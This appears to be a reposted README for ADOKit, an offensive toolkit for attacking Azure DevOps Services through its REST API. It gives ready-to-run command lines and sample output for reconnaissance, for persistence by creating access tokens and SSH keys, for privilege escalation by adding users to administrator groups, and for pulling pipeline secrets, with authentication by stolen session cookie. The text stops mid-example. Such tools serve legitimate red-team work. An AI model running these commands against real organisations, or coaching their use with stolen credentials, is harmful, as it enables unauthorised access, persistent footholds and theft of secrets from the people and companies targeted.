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ADOKit - Azure DevOps Services Attack Toolkit

By: Zion3R


Azure DevOps Services Attack Toolkit - ADOKit is a toolkit that can be used to attack Azure DevOps Services by taking advantage of the available REST API. The tool allows the user to specify an attack module, along with specifying valid credentials (API key or stolen authentication cookie) for the respective Azure DevOps Services instance. The attack modules supported include reconnaissance, privilege escalation and persistence. ADOKit was built in a modular approach, so that new modules can be added in the future by the information security community.

Full details on the techniques used by ADOKit are in the X-Force Red whitepaper.


Installation/Building

Libraries Used

The below 3rd party libraries are used in this project.

Library URL License
Fody https://github.com/Fody/Fody MIT License
Newtonsoft.Json https://github.com/JamesNK/Newtonsoft.Json MIT License

Pre-Compiled

  • Use the pre-compiled binary in Releases

Building Yourself

Take the below steps to setup Visual Studio in order to compile the project yourself. This requires two .NET libraries that can be installed from the NuGet package manager.

  • Load the Visual Studio project up and go to "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
  • Go to "NuGet Package Manager" --> "Package Sources"
  • Add a package source with the URL https://api.nuget.org/v3/index.json
  • Install the Costura.Fody NuGet package.
  • Install-Package Costura.Fody -Version 3.3.3
  • Install the Newtonsoft.Json package
  • Install-Package Newtonsoft.Json
  • You can now build the project yourself!

Command Modules

  • Recon
  • check - Check whether organization uses Azure DevOps and if credentials are valid
  • whoami - List the current user and its group memberships
  • listrepo - List all repositories
  • searchrepo - Search for given repository
  • listproject - List all projects
  • searchproject - Search for given project
  • searchcode - Search for code containing a search term
  • searchfile - Search for file based on a search term
  • listuser - List users
  • searchuser - Search for a given user
  • listgroup - List groups
  • searchgroup - Search for a given group
  • getgroupmembers - List all group members for a given group
  • getpermissions - Get the permissions for who has access to a given project
  • Persistence
  • createpat - Create personal access token for user
  • listpat - List personal access tokens for user
  • removepat - Remove personal access token for user
  • createsshkey - Create public SSH key for user
  • listsshkey - List public SSH keys for user
  • removesshkey - Remove public SSH key for user
  • Privilege Escalation
  • addprojectadmin - Add a user to the "Project Administrators" for a given project
  • removeprojectadmin - Remove a user from the "Project Administrators" group for a given project
  • addbuildadmin - Add a user to the "Build Administrators" group for a given project
  • removebuildadmin - Remove a user from the "Build Administrators" group for a given project
  • addcollectionadmin - Add a user to the "Project Collection Administrators" group
  • removecollectionadmin - Remove a user from the "Project Collection Administrators" group
  • addcollectionbuildadmin - Add a user to the "Project Collection Build Administrators" group
  • removecollectionbuildadmin - Remove a user from the "Project Collection Build Administrators" group
  • addcollectionbuildsvc - Add a user to the "Project Collection Build Service Accounts" group
  • removecollectionbuildsvc - Remove a user from the "Project Collection Build Service Accounts" group
  • addcollectionsvc - Add a user to the "Project Collection Service Accounts" group
  • removecollectionsvc - Remove a user from the "Project Collection Service Accounts" group
  • getpipelinevars - Retrieve any pipeline variables used for a given project.
  • getpipelinesecrets - Retrieve the names of any pipeline secrets used for a given project.
  • getserviceconnections - Retrieve the service connections used for a given project.

Arguments/Options

  • /credential: - credential for authentication (PAT or Cookie). Applicable to all modules.
  • /url: - Azure DevOps URL. Applicable to all modules.
  • /search: - Keyword to search for. Not applicable to all modules.
  • /project: - Project to perform an action for. Not applicable to all modules.
  • /user: - Perform an action against a specific user. Not applicable to all modules.
  • /id: - Used with persistence modules to perform an action against a specific token ID. Not applicable to all modules.
  • /group: - Perform an action against a specific group. Not applicable to all modules.

Authentication Options

Below are the authentication options you have with ADOKit when authenticating to an Azure DevOps instance.

  • Stolen Cookie - This will be the UserAuthentication cookie on a user's machine for the .dev.azure.com domain.
  • /credential:UserAuthentication=ABC123
  • Personal Access Token (PAT) - This will be an access token/API key that will be a single string.
  • /credential:apiToken

Module Details Table

The below table shows the permissions required for each module.

Attack Scenario Module Special Permissions? Notes
Recon check No
Recon whoami No
Recon listrepo No
Recon searchrepo No
Recon listproject No
Recon searchproject No
Recon searchcode No
Recon searchfile No
Recon listuser No
Recon searchuser No
Recon listgroup No
Recon searchgroup No
Recon getgroupmembers No
Recon getpermissions No
Persistence createpat No
Persistence listpat No
Persistence removepat No
Persistence createsshkey No
Persistence listsshkey No
Persistence removesshkey No
Privilege Escalation addprojectadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removeprojectadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addbuildadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removebuildadmin Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionbuildadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionbuildadmin Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation addcollectionbuildsvc Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
Privilege Escalation removecollectionbuildsvc Yes - Project Collection Administrator, Project Colection Build Administrators or Project Collection Service Accounts
Privilege Escalation addcollectionsvc Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation removecollectionsvc Yes - Project Collection Administrator or Project Collection Service Accounts
Privilege Escalation getpipelinevars Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
Privilege Escalation getpipelinesecrets Yes - Contributors or Readers or Build Administrators or Project Administrators or Project Team Member or Project Collection Test Service Accounts or Project Collection Build Service Accounts or Project Collection Build Administrators or Project Collection Service Accounts or Project Collection Administrators
Privilege Escalation getserviceconnections Yes - Project Administrator, Project Collection Administrator or Project Collection Service Accounts

Examples

Validate Azure DevOps Access

Use Case

Perform authentication check to ensure that organization is using Azure DevOps and that provided credentials are valid.

Syntax

Provide the check module, along with any relevant authentication information and URL. This will output whether the organization provided is using Azure DevOps, and if so, will attempt to validate the credentials provided.

ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/28/2023 3:33:01 PM
==================================================


[*] INFO: Checking if organization provided uses Azure DevOps

[+] SUCCESS: Organization provided exists in Azure DevOps


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

3/28/23 19:33:02 Finished execution of check

Whoami

Use Case

Get the current user and the user's group memberhips

Syntax

Provide the whoami module, along with any relevant authentication information and URL. This will output the current user and all of its group memberhips.

ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization

==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 11:33:12 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft. com


[*] INFO: Listing group memberships for the current user


Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.

4/4/23 15:33:19 Finished execution of whoami

List Repos

Use Case

Discover repositories being used in Azure DevOps instance

Syntax

Provide the listrepo module, along with any relevant authentication information and URL. This will output the repository name and URL.

ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 8:41:50 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/Projec tWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 12:41:53 Finished execution of listrepo

Search Repos

Use Case

Search for repositories by repository name in Azure DevOps instance

Syntax

Provide the searchrepo module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching repository name and URL.

ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Example Output

C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 9:26:57 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject

3/29/23 13:26:59 Finished execution of searchrepo

List Projects

Use Case

Discover projects being used in Azure DevOps instance

Syntax

Provide the listproject module, along with any relevant authentication information and URL. This will output the project name, visibility (public or private) and URL.

ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:44:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | http s://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject

4/4/23 11:45:04 Finished execution of listproject

Search Projects

Use Case

Search for projects by project name in Azure DevOps instance

Syntax

Provide the searchproject module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching project name, visibility (public or private) and URL.

ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred

ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred

Example Output

C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"

==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 7:45:30 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap

4/4/23 11:45:31 Finished execution of searchproject

Search Code

Use Case

Search for code containing a given keyword in Azure DevOps instance

Syntax

Provide the searchcode module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching code file, along with the line in the code that matched.

ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password

ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password

Example Output

C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"

==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 3:22:21 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it

[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");

[*] Match count : 3

3/29/23 19:22:22 Finished execution of searchco de

Search Files

Use Case

Search for files in repositories containing a given keyword in the file name in Azure DevOps

Syntax

Provide the searchfile module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the URL to the matching file in its respective repository.

ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline

ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline

Example Output

C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"

==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/29/2023 11:28:34 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.c s
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs

3/29/23 15:28:37 Finished execution of searchfile

Create PAT

Use Case

Create a personal access token (PAT) for a user that can be used for persistence to an Azure DevOps instance.

Syntax

Provide the createpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, date valid til, and token content for the PAT created. The name of the PAT created will be ADOKit- followed by a random string of 8 characters. The date the PAT is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.

ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:09 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit- rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere

3/31/23 18:33:10 Finished execution of createpat

List PATs

Use Case

List all personal access tokens (PAT's) for a given user in an Azure DevOps instance.

Syntax

Provide the listpat module, along with any relevant authentication information and URL. This will output the PAT ID, name, scope, and date valid til for all active PAT's for the user.

ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module: listpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 3/31/2023 2:33:17 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc8308 98 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM

3/31/23 18:33:18 Finished execution of listpat

Remove PAT

Use Case

Remove a PAT for a given user in an Azure DevOps instance.

Syntax

Provide the removepat module, along with any relevant authentication information and URL. Additionally, provide the ID for the PAT in the /id: argument. This will output whether the PAT was removed or not, and then will list the current active PAT's for the user after performing the removal.

ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Example Output

C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298

==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 11:04:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.

PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d098903 4da18 | test-token | app_token | 4/29/2023 1:20:45 PM

4/3/23 15:05:00 Finished execution of removepat

Create SSH Key

Use Case

Create an SSH key for a user that can be used for persistence to an Azure DevOps instance.

Syntax

Provide the createsshkey module, along with any relevant authentication information and URL. Additionally, provide your public SSH key in the /sshkey: argument. This will output the SSH key ID, name, scope, date valid til, and last 20 characters of the public SSH key for the SSH key created. The name of the SSH key created will be ADOKit- followed by a random string of 8 characters. The date the SSH key is valid until will be 1 year from the date of creation, as that is the maximum that Azure DevOps allows.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Example Output

C:\>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

==================================================
Module: createsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

List SSH Keys

Use Case

List all public SSH keys for a given user in an Azure DevOps instance.

Syntax

Provide the listsshkey module, along with any relevant authentication information and URL. This will output the SSH Key ID, name, scope, and date valid til for all active SSH key's for the user. Additionally, it will print the last 20 characters of the public SSH key.

ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Remove SSH Key

Use Case

Remove an SSH key for a given user in an Azure DevOps instance.

Syntax

Provide the removesshkey module, along with any relevant authentication information and URL. Additionally, provide the ID for the SSH key in the /id: argument. This will output whether SSH key was removed or not, and then will list the current active SSH key's for the user after performing the removal.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Example Output

C:\>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

==================================================
Module: removesshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

SSH Key ID | Name | Scope | Valid Until | Public SSH Key
---------------------------------------------------------------------------------------------------------------------------------------------- -------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

List Users

Use Case

List users within an Azure DevOps instance

Syntax

Provide the listuser module, along with any relevant authentication information and URL. This will output the username, display name and user principal name.

ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmicrosoft.com
jsmith | John Smith | jsmith@YourOrganization.onmicrosoft.com
rsmith | Ron Smith | rsmith@YourOrganization.onmicrosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com

4/3/23 20:12:08 Finished execution of listuser

Search User

Use Case

Search for given user(s) in Azure DevOps instance

Syntax

Provide the searchuser module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the matching username, display name and user principal name.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Example Output

C:\>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

==================================================
Module: searchuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | user1@YourOrganization.onmic rosoft.com
user2 | User 2 | user2@YourOrganization.onmicrosoft.com

4/3/23 20:12:24 Finished execution of searchuser

List Groups

Use Case

List groups within an Azure DevOps instance

Syntax

Provide the listgroup module, along with any relevant authentication information and URL. This will output the user principal name, display name and description of group.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Example Output

C:\>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module: listgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items w ithin the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by t he test controllers set up for this project collection.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only.
[YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management


---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

Search Groups

Use Case

Search for given group(s) in Azure DevOps instance

Syntax

Provide the searchgroup module and your search criteria in the /search: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group.

ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"

ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"

Example Output

C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, mod ify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of th is group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Get Group Members

Use Case

List all group members for a given group

Syntax

Provide the getgroupmembers module and the group(s) you would like to search for in the /group: command-line argument, along with any relevant authentication information and URL. This will output the user principal name of the group matching, along with each group member of that group including the user's mail address and display name.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Example Output

C:\>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

==================================================
Module: getgroupmembers
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Build Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[MaraudersMap]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Project Administrators | rsmith@YourOrganization.onmicrosoft.com | Ron Smith
[TestProject2]\Project Administrators | user1@YourOrganization.onmicrosoft.com | User 1
[TestProject2]\Project Administrators | user2@YourOrganization.onmicrosoft.com | User 2
[YourOrganization]\Project Collection Administrators | jsmith@YourOrganization.onmicrosoft.com | John Smith
[ProjectWithMultipleRepos]\Project Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins
[MaraudersMap]\Build Administrators | brett.hawkins@YourOrganization.onmicrosoft.com | Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

Get Project Permissions

Use Case

Get a listing of who has permissions to a given project.

Syntax

Provide the getpermissions module and the project you would like to search for in the /project: command-line argument, along with any relevant authentication information and URL. This will output the user principal name, display name and description for the matching group. Additionally, this will output the group members for each of those groups.

ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"

ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"

Example Output

C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

UPN | Display Name | Description
